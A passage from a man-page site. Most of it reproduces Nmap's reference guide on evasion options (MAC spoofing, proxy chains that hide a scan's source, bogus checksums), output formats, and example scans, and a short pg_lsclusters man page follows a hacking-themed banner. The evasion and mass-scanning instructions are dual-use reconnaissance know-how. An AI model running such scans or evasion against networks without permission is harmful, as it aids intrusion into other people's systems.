for all of the raw ethernet frames it sends. This option implies –send-eth to ensure that Nmap actually sends ethernet-level packets. The MAC given can take several formats. If it is simply the number 0, Nmap chooses a completely random MAC address for the session. If the given string is an even number of hex digits (with the pairs optionally separated by a colon), Nmap will use those as the MAC. If fewer than 12 hex digits are provided, Nmap fills in the remainder of the six bytes with random values. If the argument isnt a zero or hex string, Nmap looks through nmap-mac-prefixes to find a vendor name containing the given string (it is case insensitive). If a match is found, Nmap uses the vendors OUI (three-byte prefix) and fills out the remaining three bytes randomly. Valid –spoof-mac argument examples are Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco. This option only affects raw packet scans such as SYN scan or OS detection, not connection-oriented features such as version detection or the Nmap Scripting Engine.

–proxies Comma-separated list of proxy URLs (Relay TCP connections through a chain of proxies)

Asks Nmap to establish TCP connections with a final target through supplied chain of one or more HTTP or SOCKS4 proxies. Proxies can help hide the true source of a scan or evade certain firewall restrictions, but they can hamper scan performance by increasing latency. Users may need to adjust Nmap timeouts and other scan parameters accordingly. In particular, a lower –max-parallelism may help because some proxies refuse to handle as many concurrent connections as Nmap opens by default.

This option takes a list of proxies as argument, expressed as URLs in the format proto://host:port. Use commas to separate node URLs in a chain. No authentication is supported yet. Valid protocols are HTTP and SOCKS4.

Warning: this feature is still under development and has limitations. It is implemented within the nsock library and thus has no effect on the ping, port scanning and OS discovery phases of a scan. Only NSE and version scan benefit from this option so far—other features may disclose your true address. SSL connections are not yet supported, nor is proxy-side DNS resolution (hostnames are always resolved by Nmap).

–badsum (Send packets with bogus TCP/UDP checksums)

Asks Nmap to use an invalid TCP, UDP or SCTP checksum for packets sent to target hosts. Since virtually all host IP stacks properly drop these packets, any responses received are likely coming from a firewall or IDS that didnt bother to verify the checksum. For more details on this technique, see https://nmap.org/p60-12.html

–adler32 (Use deprecated Adler32 instead of CRC32C for SCTP checksums)

Asks Nmap to use the deprecated Adler32 algorithm for calculating the SCTP checksum. If –adler32 is not given, CRC-32C (Castagnoli) is used. RFC 2960[13] originally defined Adler32 as checksum algorithm for SCTP; RFC 4960[6] later redefined the SCTP checksums to use CRC-32C. Current SCTP implementations should be using CRC-32C, but in order to elicit responses from old, legacy SCTP implementations, it may be preferable to use Adler32.

OUTPUT

Any security tool is only as useful as the output it generates. Complex tests and algorithms are of little value if they arent presented in an organized and comprehensible fashion. Given the number of ways Nmap is used by people and other software, no single format can please everyone. So Nmap offers several formats, including the interactive mode for humans to read directly and XML for easy parsing by software.

In addition to offering different output formats, Nmap provides options for controlling the verbosity of output as well as debugging messages. Output types may be sent to standard output or to named files, which Nmap can append to or clobber. Output files may also be used to resume aborted scans.

Nmap makes output available in five different formats. The default is called interactive output, and it is sent to standard output (stdout). There is also normal output, which is similar to interactive except that it displays less runtime information and warnings since it is expected to be analyzed after the scan completes rather than interactively.

XML output is one of the most important output types, as it can be converted to HTML, easily parsed by programs such as Nmap graphical user interfaces, or imported into databases.

The two remaining output types are the simple grepable output which includes most information for a target host on a single line, and sCRiPt KiDDi3 0utPUt for users who consider themselves |<-r4d.

While interactive output is the default and has no associated command-line options, the other four format options use the same syntax. They take one argument, which is the filename that results should be stored in. Multiple formats may be specified, but each format may only be specified once. For example, you may wish to save normal output for your own review while saving XML of the same scan for programmatic analysis. You might do this with the options -oX myscan.xml -oN myscan.nmap. While this chapter uses the simple names like myscan.xml for brevity, more descriptive names are generally recommended. The names chosen are a matter of personal preference, though I use long ones that incorporate the scan date and a word or two describing the scan, placed in a directory named after the company Im scanning.

While these options save results to files, Nmap still prints interactive output to stdout as usual. For example, the command nmap -oX myscan.xml target prints XML to myscan.xml and fills standard output with the same interactive results it would have printed if -oX wasnt specified at all. You can change this by passing a hyphen character as the argument to one of the format types. This causes Nmap to deactivate interactive output, and instead print results in the format you specified to the standard output stream. So the command nmap -oX - target will send only XML output to stdout. Serious errors may still be printed to the normal error stream, stderr.

Unlike some Nmap arguments, the space between the logfile option flag (such as -oX) and the filename or hyphen is mandatory. If you omit the flags and give arguments such as -oG- or -oXscan.xml, a backwards compatibility feature of Nmap will cause the creation of normal format output files named G- and Xscan.xml respectively.

All of these arguments support strftime-like conversions in the filename. %H, %M, %S, %m, %d, %y, and %Y are all exactly the same as in strftime. %T is the same as %H%M%S, %R is the same as %H%M, and %D is the same as %m%d%y. A % followed by any other character just yields that character (%% gives you a percent symbol). So -oX scan-%T-%D.xml will use an XML file with a name in the form of scan-144840-121307.xml.

Nmap also offers options to control scan verbosity and to append to output files rather than clobbering them. All of these options are described below.

Nmap Output Formats

-oN filespec (normal output)

Requests that normal output be directed to the given filename. As discussed above, this differs slightly from interactive output.

-oX filespec (XML output)

Requests that XML output be directed to the given filename. Nmap includes a document type definition (DTD) which allows XML parsers to validate Nmap XML output. While it is primarily intended for programmatic use, it can also help humans interpret Nmap XML output. The DTD defines the legal elements of the format, and often enumerates the attributes and values they can take on. The latest version is always available from https://svn.nmap.org/nmap/docs/nmap.dtd.

XML offers a stable format that is easily parsed by software. Free XML parsers are available for all major computer languages, including C/C++, Perl, Python, and Java. People have even written bindings for most of these languages to handle Nmap output and execution specifically. Examples are Nmap::Scanner[14] and Nmap::Parser[15] in Perl CPAN. In almost all cases that a non-trivial application interfaces with Nmap, XML is the preferred format.

The XML output references an XSL stylesheet which can be used to format the results as HTML. The easiest way to use this is simply to load the XML output in a web browser such as Firefox or IE. By default, this will only work on the machine you ran Nmap on (or a similarly configured one) due to the hard-coded nmap.xsl filesystem path. Use the –webxml or –stylesheet options to create portable XML files that render as HTML on any web-connected machine.

-oS filespec (ScRipT KIdd|3 oUTpuT)

Script kiddie output is like interactive output, except that it is post-processed to better suit the l33t HaXXorZ who previously looked down on Nmap due to its consistent capitalization and spelling. Humor impaired people should note that this option is making fun of the script kiddies before flaming me for supposedly “helping them”.

-oG filespec (grepable output)

This output format is covered last because it is deprecated. The XML output format is far more powerful, and is nearly as convenient for experienced users. XML is a standard for which dozens of excellent parsers are available, while grepable output is my own simple hack. XML is extensible to support new Nmap features as they are released, while I often must omit those features from grepable output for lack of a place to put them.

Nevertheless, grepable output is still quite popular. It is a simple format that lists each host on one line and can be trivially searched and parsed with standard Unix tools such as grep, awk, cut, sed, diff, and Perl. Even I usually use it for one-off tests done at the command line. Finding all the hosts with the SSH port open or that are running Solaris takes only a simple grep to identify the hosts, piped to an awk or cut command to print the desired fields.

Grepable output consists of comments (lines starting with a pound (#)) and target lines. A target line includes a combination of six labeled fields, separated by tabs and followed with a colon. The fields are Host, Ports, Protocols, Ignored State, OS, Seq Index, IP ID, and Status.

The most important of these fields is generally Ports, which gives details on each interesting port. It is a comma separated list of port entries. Each port entry represents one interesting port, and takes the form of seven slash (/) separated subfields. Those subfields are: Port number, State, Protocol, Owner, Service, SunRPC info, and Version info.

As with XML output, this man page does not allow for documenting the entire format. A more detailed look at the Nmap grepable output format is available from https://nmap.org/book/output-formats-grepable-output.html.

-oA basename (Output to all formats)

As a convenience, you may specify -oA basename to store scan results in normal, XML, and grepable formats at once. They are stored in basename.nmap, basename.xml, and basename.gnmap, respectively. As with most programs, you can prefix the filenames with a directory path, such as ~/nmaplogs/foocorp/ on Unix or c:\hacking\sco on Windows.

Verbosity and debugging options

-v (Increase verbosity level), -vlevel (Set verbosity level)

Increases the verbosity level, causing Nmap to print more information about the scan in progress. Open ports are shown as they are found and completion time estimates are provided when Nmap thinks a scan will take more than a few minutes. Use it twice or more for even greater verbosity: -vv, or give a verbosity level directly, for example -v3.

Most changes only affect interactive output, and some also affect normal and script kiddie output. The other output types are meant to be processed by machines, so Nmap can give substantial detail by default in those formats without fatiguing a human user. However, there are a few changes in other modes where output size can be reduced substantially by omitting some detail. For example, a comment line in the grepable output that provides a list of all ports scanned is only printed in verbose mode because it can be quite long.

-d (Increase debugging level), -dlevel (Set debugging level)

When even verbose mode doesnt provide sufficient data for you, debugging is available to flood you with much more! As with the verbosity option (-v), debugging is enabled with a command-line flag (-d) and the debug level can be increased by specifying it multiple times, as in -dd, or by setting a level directly. For example, -d9 sets level nine. That is the highest effective level and will produce thousands of lines unless you run a very simple scan with very few ports and targets.

Debugging output is useful when a bug is suspected in Nmap, or if you are simply confused as to what Nmap is doing and why. As this feature is mostly intended for developers, debug lines arent always self-explanatory. You may get something like: Timeout vals: srtt: -1 rttvar: -1 to: 1000000 delta 14987 ==> srtt: 14987 rttvar: 14987 to: 100000. If you dont understand a line, your only recourses are to ignore it, look it up in the source code, or request help from the development list (nmap-dev). Some lines are self explanatory, but the messages become more obscure as the debug level is increased.

–reason (Host and port state reasons)

Shows the reason each port is set to a specific state and the reason each host is up or down. This option displays the type of the packet that determined a port or hosts state. For example, A RST packet from a closed port or an echo reply from an alive host. The information Nmap can provide is determined by the type of scan or ping. The SYN scan and SYN ping (-sS and -PS) are very detailed, but the TCP connect scan (-sT) is limited by the implementation of the connect system call. This feature is automatically enabled by the debug option (-d) and the results are stored in XML log files even if this option is not specified.

–stats-every time (Print periodic timing stats)

Periodically prints a timing status message after each interval of time. The time is a specification of the kind described in the section called “TIMING AND PERFORMANCE”; so for example, use –stats-every 10s to get a status update every 10 seconds. Updates are printed to interactive output (the screen) and XML output.

–packet-trace (Trace packets and data sent and received)

Causes Nmap to print a summary of every packet sent or received. This is often used for debugging, but is also a valuable way for new users to understand exactly what Nmap is doing under the covers. To avoid printing thousands of lines, you may want to specify a limited number of ports to scan, such as -p20-30. If you only care about the goings on of the version detection subsystem, use –version-trace instead. If you only care about script tracing, specify –script-trace. With –packet-trace, you get all of the above.

–open (Show only open (or possibly open) ports)

Sometimes you only care about ports you can actually connect to (open ones), and dont want results cluttered with closed, filtered, and closed|filtered ports. Output customization is normally done after the scan using tools such as grep, awk, and Perl, but this feature was added due to overwhelming requests. Specify –open to only see hosts with at least one open, open|filtered, or unfiltered port, and only see ports in those states. These three states are treated just as they normally are, which means that open|filtered and unfiltered may be condensed into counts if there are an overwhelming number of them.

Beginning with Nmap 7.40, the –open option implies

–defeat-rst-ratelimit, because that option only affects closed and filtered ports, which are hidden by –open.

–iflist (List interfaces and routes)

Prints the interface list and system routes as detected by Nmap and quits. This is useful for debugging routing problems or device mischaracterization (such as Nmap treating a PPP connection as ethernet).

Miscellaneous output options

–append-output (Append to rather than clobber output files)

When you specify a filename to an output format flag such as -oX or -oN, that file is overwritten by default. If you prefer to keep the existing content of the file and append the new results, specify the –append-output option. All output filenames specified in that Nmap execution will then be appended to rather than clobbered. This doesnt work well for XML (-oX) scan data as the resultant file generally wont parse properly until you fix it up by hand.

–resume filename (Resume aborted scan)

Some extensive Nmap runs take a very long time—on the order of days. Such scans dont always run to completion. Restrictions may prevent Nmap from being run during working hours, the network could go down, the machine Nmap is running on might suffer a planned or unplanned reboot, or Nmap itself could crash. The administrator running Nmap could cancel it for any other reason as well, by pressing ctrl-C. Restarting the whole scan from the beginning may be undesirable. Fortunately, if scan output files were kept, the user can ask Nmap to resume scanning with the target it was working on when execution ceased. Simply specify the –resume option and pass the output file as its argument. No other arguments are permitted, as Nmap parses the output file to use the same ones specified previously. Simply call Nmap as nmap –resume logfilename. Nmap will append new results to the data files specified in the previous execution. Scans can be resumed from any of the 3 major output formats: Normal, Grepable, or XML

–noninteractive (Disable runtime interactions)

At times, such as when running Nmap in a shell background, it might be undesirable for Nmap to monitor and respond to user keyboard input when running. (See the section called “RUNTIME INTERACTION” about how to control Nmap during a scan.) Use option –noninteractive to prevent Nmap taking control of the terminal.

–stylesheet path or URL (Set XSL stylesheet to transform XML output)

Nmap ships with an XSL stylesheet named nmap.xsl for viewing or translating XML output to HTML. The XML output includes an xml-stylesheet directive which points to nmap.xml where it was initially installed by Nmap. Run the XML file through an XSLT processor such as xsltproc[16] to produce an HTML file. Directly opening the XML file in a browser no longer works well because modern browsers limit the locations a stylesheet may be loaded from. If you wish to use a different stylesheet, specify it as the argument to –stylesheet. You must pass the full pathname or URL. One common invocation is –stylesheet https://nmap.org/svn/docs/nmap.xsl. This tells an XSLT processor to load the latest version of the stylesheet from Nmap.Org. The –webxml option does the same thing with less typing and memorization. Loading the XSL from Nmap.Org makes it easier to view results on a machine that doesnt have Nmap (and thus nmap.xsl) installed. So the URL is often more useful, but the local filesystem location of nmap.xsl is used by default for privacy reasons.

–webxml (Load stylesheet from Nmap.Org)

This is a convenience option, nothing more than an alias for –stylesheet https://nmap.org/svn/docs/nmap.xsl.

–no-stylesheet (Omit XSL stylesheet declaration from XML)

Specify this option to prevent Nmap from associating any XSL stylesheet with its XML output. The xml-stylesheet directive is omitted.

MISCELLANEOUS OPTIONS

This section describes some important (and not-so-important) options that dont really fit anywhere else.

-6 (Enable IPv6 scanning)

Nmap has IPv6 support for its most popular features. Ping scanning, port scanning, version detection, and the Nmap Scripting Engine all support IPv6. The command syntax is the same as usual except that you also add the -6 option. Of course, you must use IPv6 syntax if you specify an address rather than a hostname. An address might look like 3ffe:7501:4819:2000:210:f3ff:fe03:14d0, so hostnames are recommended. The output looks the same as usual, with the IPv6 address on the “interesting ports” line being the only IPv6 giveaway.

While IPv6 hasnt exactly taken the world by storm, it gets significant use in some (usually Asian) countries and most modern operating systems support it. To use Nmap with IPv6, both the source and target of your scan must be configured for IPv6. If your ISP (like most of them) does not allocate IPv6 addresses to you, free tunnel brokers are widely available and work fine with Nmap. I use the free IPv6 tunnel broker service at http://www.tunnelbroker.net. Other tunnel brokers are listed at Wikipedia[17]. 6to4 tunnels are another popular, free approach.

On Windows, raw-socket IPv6 scans are supported only on ethernet devices (not tunnels), and only on Windows Vista and later. Use the –unprivileged option in other situations.

-A (Aggressive scan options)

This option enables additional advanced and aggressive options. Presently this enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (–traceroute). More features may be added in the future. The point is to enable a comprehensive set of scan options without people having to remember a large set of flags. However, because script scanning with the default set is considered intrusive, you should not use -A against target networks without permission. This option only enables features, and not timing options (such as -T4) or verbosity options (-v) that you might want as well. Options which require privileges (e.g. root access) such as OS detection and traceroute will only be enabled if those privileges are available.

–datadir directoryname (Specify custom Nmap data file location)

Nmap obtains some special data at runtime in files named nmap-service-probes, nmap-services, nmap-protocols, nmap-rpc, nmap-mac-prefixes, and nmap-os-db. If the location of any of these files has been specified (using the –servicedb or –versiondb options), that location is used for that file. After that, Nmap searches these files in the directory specified with the –datadir option (if any). Any files not found there, are searched for in the directory specified by the NMAPDIR environment variable. Next comes ~/.nmap for real and effective UIDs; or on Windows, HOME\AppData\Roaming map (where HOME is the users home directory, like C:\Users\user). This is followed by the location of the nmap executable and the same location with ../share/nmap appended. Then a compiled-in location such as /usr/local/share/nmap or /usr/share/nmap.

–servicedb services file (Specify custom services file)

Asks Nmap to use the specified services file rather than the nmap-services data file that comes with Nmap. Using this option also causes a fast scan (-F) to be used. See the description for –datadir for more information on Nmaps data files.

–versiondb service probes file (Specify custom service probes file)

Asks Nmap to use the specified service probes file rather than the nmap-service-probes data file that comes with Nmap. See the description for –datadir for more information on Nmaps data files.

–send-eth (Use raw ethernet sending)

Asks Nmap to send packets at the raw ethernet (data link) layer rather than the higher IP (network) layer. By default, Nmap chooses the one which is generally best for the platform it is running on. Raw sockets (IP layer) are generally most efficient for Unix machines, while ethernet frames are required for Windows operation since Microsoft disabled raw socket support. Nmap still uses raw IP packets on Unix despite this option when there is no other choice (such as non-ethernet connections).

–send-ip (Send at raw IP level)

Asks Nmap to send packets via raw IP sockets rather than sending lower level ethernet frames. It is the complement to the –send-eth option discussed previously.

–privileged (Assume that the user is fully privileged)

Tells Nmap to simply assume that it is privileged enough to perform raw socket sends, packet sniffing, and similar operations that usually require root privileges on Unix systems. By default Nmap quits if such operations are requested but geteuid is not zero. –privileged is useful with Linux kernel capabilities and similar systems that may be configured to allow unprivileged users to perform raw-packet scans. Be sure to provide this option flag before any flags for options that require privileges (SYN scan, OS detection, etc.). The NMAP_PRIVILEGED environment variable may be set as an equivalent alternative to –privileged.

–unprivileged (Assume that the user lacks raw socket privileges)

This option is the opposite of –privileged. It tells Nmap to treat the user as lacking network raw socket and sniffing privileges. This is useful for testing, debugging, or when the raw network functionality of your operating system is somehow broken. The NMAP_UNPRIVILEGED environment variable may be set as an equivalent alternative to –unprivileged.

–release-memory (Release memory before quitting)

This option is only useful for memory-leak debugging. It causes Nmap to release allocated memory just before it quits so that actual memory leaks are easier to spot. Normally Nmap skips this as the OS does this anyway upon process termination.

-V; –version (Print version number)

Prints the Nmap version number and exits.

-h; –help (Print help summary page)

Prints a short help screen with the most common command flags. Running Nmap without any arguments does the same thing.

RUNTIME INTERACTION

During the execution of Nmap, all key presses are captured. This allows you to interact with the program without aborting and restarting it. Certain special keys will change options, while any other keys will print out a status message telling you about the scan. The convention is that lowercase letters increase the amount of printing, and uppercase letters decrease the printing. You may also press ‘?’ for help.

v / V

Increase / decrease the verbosity level

d / D

Increase / decrease the debugging Level

p / P

Turn on / off packet tracing

?

Print a runtime interaction help screen

Anything else

Print out a status message like this:

Stats: 0:00:07 elapsed; 20 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 33.33% done; ETC: 20:57 (0:00:12 remaining)

EXAMPLES

Here are some Nmap usage examples, from the simple and routine to a little more complex and esoteric. Some actual IP addresses and domain names are used to make things more concrete. In their place you should substitute addresses/names from your own network. While I dont think port scanning other networks is or should be illegal, some network administrators dont appreciate unsolicited scanning of their networks and may complain. Getting permission first is the best approach.

For testing purposes, you have permission to scan the host scanme.nmap.org. This permission only includes scanning via Nmap and not testing exploits or denial of service attacks. To conserve bandwidth, please do not initiate more than a dozen scans against that host per day. If this free scanning target service is abused, it will be taken down and Nmap will report Failed to resolve given hostname/IP: scanme.nmap.org. These permissions also apply to the hosts scanme2.nmap.org, scanme3.nmap.org, and so on, though those hosts do not currently exist.

nmap -v scanme.nmap.org

This option scans all reserved TCP ports on the machine scanme.nmap.org . The -v option enables verbose mode.

nmap -sS -O scanme.nmap.org/24

Launches a stealth SYN scan against each machine that is up out of the 256 IPs on the /24 sized network where Scanme resides. It also tries to determine what operating system is running on each host that is up and running. This requires root privileges because of the SYN scan and OS detection.

nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127

Launches host enumeration and a TCP scan at the first half of each of the 255 possible eight-bit subnets in the 198.116.0.0/16 address space. This tests whether the systems run SSH, DNS, POP3, or IMAP on their standard ports, or anything on port 4564. For any of these ports found open, version detection is used to determine what application is running.

nmap -v -iR 100000 -Pn -p 80

Asks Nmap to choose 100,000 hosts at random and scan them for web servers (port 80). Host enumeration is disabled with -Pn since first sending a couple probes to determine whether a host is up is wasteful when you are only probing one port on each target host anyway.

nmap -Pn -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20

This scans 4096 IPs for any web servers (without pinging them) and saves the output in grepable and XML formats.

NMAP BOOK

While this reference guide details all material Nmap options, it cant fully demonstrate how to apply those features to quickly solve real-world tasks. For that, we released Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning. Topics include subverting firewalls and intrusion detection systems, optimizing Nmap performance, and automating common networking tasks with the Nmap Scripting Engine. Hints and instructions are provided for common Nmap tasks such as taking network inventory, penetration testing, detecting rogue wireless access points, and quashing network worm outbreaks. Examples and diagrams show actual communication on the wire. More than half of the book is available free online. See https://nmap.org/book for more information.

BUGS

Like its author, Nmap isnt perfect. But you can help make it better by sending bug reports or even writing patches. If Nmap doesnt behave the way you expect, first upgrade to the latest version available from https://nmap.org. If the problem persists, do some research to determine whether it has already been discovered and addressed. Try searching for the problem or error message on Google since that aggregates so many forums. If nothing comes of this, create an Issue on our tracker (http://issues.nmap.org) and/or mail a bug report to <[email protected]>. If you subscribe to the nmap-dev list before posting, your message will bypass moderation and get through more quickly. Subscribe at https://nmap.org/mailman/listinfo/dev. Please include everything you have learned about the problem, as well as what version of Nmap you are using and what operating system version it is running on. Other suggestions for improving Nmap may be sent to the Nmap dev mailing list as well.

If you are able to write a patch improving Nmap or fixing a bug, that is even better! Instructions for submitting patches or git pull requests are available from https://github.com/nmap/nmap/blob/master/CONTRIBUTING.md

Particularly sensitive issues such as a security reports may be sent directly to Nmaps author Fyodor directly at <[email protected]>. All other reports and comments should use the dev list or issue tracker instead because more people read, follow, and respond to those.

AUTHORS

Gordon “Fyodor” Lyon <[email protected]> wrote and released Nmap in 1997. Since then, hundreds of people have made valuable contributions, as detailed in the CHANGELOG file distributed with Nmap and also available from https://nmap.org/changelog.html. David Fifield and Daniel Miller deserve special recognition for their enormous multi-year contributions!

LEGAL NOTICES

The Nmap Security Scanner is (C) 1996–2022 Nmap Software LLC (“The Nmap Project”). Nmap is also a registered trademark of the Nmap Project. It is published under the Nmap Public Source License[18]. This generally allows end users to download and use Nmap for free. It doesnt allow Nmap to be used and redistributed within commercial software or hardware products (including appliances, virtual machines, and traditional applications). We fund the project by selling a special Nmap OEM Edition for this purpose, as described at https://nmap.org/oem. Hundreds of large and small software vendors have already purchased OEM licenses to embed Nmap technology such as host discovery, port scanning, OS detection, version detection, and the Nmap Scripting Engine within their products.

The Nmap Project has permission to redistribute Npcap, a packet capturing driver and library for the Microsoft Windows platform. Npcap is a separate work with its own license rather than this Nmap license. Since the Npcap license does not permit redistribution without special permission, our Nmap Windows binary packages which contain Npcap may not be redistributed without special permission.

Even though the NPSL is based on GPLv2, it contains different provisions and is not directly compatible. It is incompatible with some other open source licenses as well. In some cases we can relicense portions of Nmap or grant special permissions to use it in other open source software. Please contact [email protected] with any such requests. Similarly, we dont incorporate incompatible open source software into Nmap without special permission from the copyright holders.

If you have received a written license agreement or contract for Nmap (such as an Nmap OEM license[19]) stating terms other than these, you may choose to use and redistribute Nmap under those terms instead.

Creative Commons License for this Nmap Guide

This Nmap Reference Guide is (C) 2005–2022 Nmap Software LLC. It is hereby placed under version 3.0 of the Creative Commons Attribution License[20]. This allows you redistribute and modify the work as you desire, as long as you credit the original source. Alternatively, you may choose to treat this document as falling under the same license as Nmap itself (discussed previously).

Source Code Availability and Community Contributions

Source is provided to this software because we believe users have a right to know exactly what a program is going to do before they run it. This also allows you to audit the software for security holes.

Source code also allows you to port Nmap to new platforms, fix bugs, and add new features. You are highly encouraged to submit your changes as Github Pull Requests (PR) or send them to <[email protected]> for possible incorporation into the main distribution. By submitting such changes, it is assumed that you are offering the Nmap Project the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). We also sell commercial licenses to Nmap OEM[21]. If you wish to specify special license conditions of your contributions, just say so when you send them.

No Warranty

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

It should also be noted that Nmap has occasionally been known to crash poorly written applications, TCP/IP stacks, and even operating systems. While this is extremely rare, it is important to keep in mind. Nmap should never be run against mission critical systems unless you are prepared to suffer downtime. We acknowledge here that Nmap may crash your systems or networks and we disclaim all liability for any damage or problems Nmap could cause.

Inappropriate Usage

Because of the slight risk of crashes and because a few black hats like to use Nmap for reconnaissance prior to attacking systems, there are administrators who become upset and may complain when their system is scanned. Thus, it is often advisable to request permission before doing even a light scan of a network.

Nmap should never be installed with special privileges (e.g. suid root). That would open up a major security vulnerability as other users on the system (or attackers) could use it for privilege escalation.

Nmap is not designed, manufactured, or intended for use in hazardous environments requiring fail- safe performance where the failure of the software could lead directly to death, personal injury, or significant physical or environmental damage.

Third-Party Software and Funding Notices

This product includes software developed by the Apache Software Foundation[22]. A modified version of the Libpcap portable packet capture library[23] is distributed along with Nmap. The Windows version of Nmap utilizes the Libpcap-derived Ncap library[24] instead. Regular expression support is provided by the PCRE library[25], which is open-source software, written by Philip Hazel. Certain raw networking functions use the Libdnet[26] networking library, which was written by Dug Song. A modified version is distributed with Nmap. Nmap can optionally link with the OpenSSL cryptography toolkit[27] for SSL version detection support. The Nmap Scripting Engine uses an embedded version of the Lua programming language[10]. The Liblinear linear classification library[28] is used for our IPv6 OS detection machine learning techniques[29].

All of the third-party software described in this paragraph is freely redistributable under BSD-style software licenses.

Binary packages for Windows and Mac OS X include support libraries necessary to run Zenmap and Ndiff with Python and PyGTK. (Unix platforms commonly make these libraries easy to install, so they are not part of the packages.) A listing of these support libraries and their licenses is included in the LICENSES files.

This software was supported in part through the Google Summer of Code[30] and the DARPA CINDER program[31] (DARPA-BAA-10-84).

United States Export Control

Nmap only uses encryption when compiled with the optional OpenSSL support and linked with OpenSSL. When compiled without OpenSSL support, the Nmap Project believes that Nmap is not subject to U.S. Export Administration Regulations (EAR)[32] export control. As such, there is no applicable ECCN (export control classification number) and exportation does not require any special license, permit, or other governmental authorization.

When compiled with OpenSSL support or distributed as source code, the Nmap Project believes that Nmap falls under U.S. ECCN 5D002[33] (“Information Security Software”). We distribute Nmap under the TSU exception for publicly available encryption software defined in EAR 740.13(e)[34].

NOTES

Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning

https://nmap.org/book/

RFC 1122

http://www.rfc-editor.org/rfc/rfc1122.txt

RFC 792

http://www.rfc-editor.org/rfc/rfc792.txt

RFC 950

http://www.rfc-editor.org/rfc/rfc950.txt

UDP

http://www.rfc-editor.org/rfc/rfc768.txt

SCTP

http://www.rfc-editor.org/rfc/rfc4960.txt

TCP RFC

http://www.rfc-editor.org/rfc/rfc793.txt

RFC 959

http://www.rfc-editor.org/rfc/rfc959.txt

RFC 1323

http://www.rfc-editor.org/rfc/rfc1323.txt

  1. Lua programming language

    https://lua.org

  2. precedence

    http://www.lua.org/manual/5.4/manual.html#3.4.8

  3. IP protocol

    http://www.rfc-editor.org/rfc/rfc791.txt

  4. RFC 2960

    http://www.rfc-editor.org/rfc/rfc2960.txt

  5. Nmap::Scanner

    http://sourceforge.net/projects/nmap-scanner/

  6. Nmap::Parser

    http://nmapparser.wordpress.com/

  7. xsltproc

    http://xmlsoft.org/XSLT/

  8. listed at Wikipedia

    http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers

  9. Nmap Public Source License

    https://nmap.org/npsl

  10. Nmap OEM license

    https://nmap.org/oem/

  11. Creative Commons Attribution License

    http://creativecommons.org/licenses/by/3.0/

  12. Nmap OEM

    https://nmap.org/oem

  13. Apache Software Foundation

    https://www.apache.org

  14. Libpcap portable packet capture library

    https://www.tcpdump.org

  15. Ncap library

    https://npcap.com

  16. PCRE library

    https://pcre.org

  17. Libdnet

    http://libdnet.sourceforge.net

  18. OpenSSL cryptography toolkit

    https://openssl.org

  19. Liblinear linear classification library

    https://www.csie.ntu.edu.tw/~cjlin/liblinear/

  20. IPv6 OS detection machine learning techniques

    https://nmap.org/book/osdetect-guess.html#osdetect-guess-ipv6

  21. Google Summer of Code

    https://nmap.org/soc/

  22. DARPA CINDER program

    https://www.fbo.gov/index?s=opportunity&mode=form&id=585e02a51f77af5cb3c9e06b9cc82c48&tab=core&_cview=1

  23. Export Administration Regulations (EAR)

    https://www.bis.doc.gov/index.php/regulations/export-administration-regulations-ear

  24. 5D002

    https://www.bis.doc.gov/index.php/documents/regulations-docs/federal-register-notices/federal-register-2014/951-ccl5-pt2/file

  25. EAR 740.13(e)

    https://www.bis.doc.gov/index.php/documents/regulations-docs/2341-740-2/file

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

282 - Linux cli command pg_lsclusters

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_lsclusters and provides detailed information about the command pg_lsclusters, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_lsclusters.

NAME 🖥️ pg_lsclusters 🖥️

show information about all PostgreSQL clusters

SYNOPSIS

pg_lsclusters [options] [version [cluster]]

DESCRIPTION

This command list the status and some configuration details of all clusters. If a version and optionally a cluster name are given, only these are shown.

OPTIONS

-h, –no-header
Do not print the column header line.

-j, –json
Output information in JSON format. Needs JSON.pm installed. (Debian package: libjson-perl)

-s, –start-conf
Include start.conf information in status column.

–help
Print usage help.

NOTES

The cluster status is shown as online or down. If a recovery.conf file is found in the data directory, ,recovery is appended. The latter needs read access to the data directory, which only root and the cluster owner have.

The output lines are colored green and red to indicate the cluster status visually.

AUTHOR

Martin Pitt <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
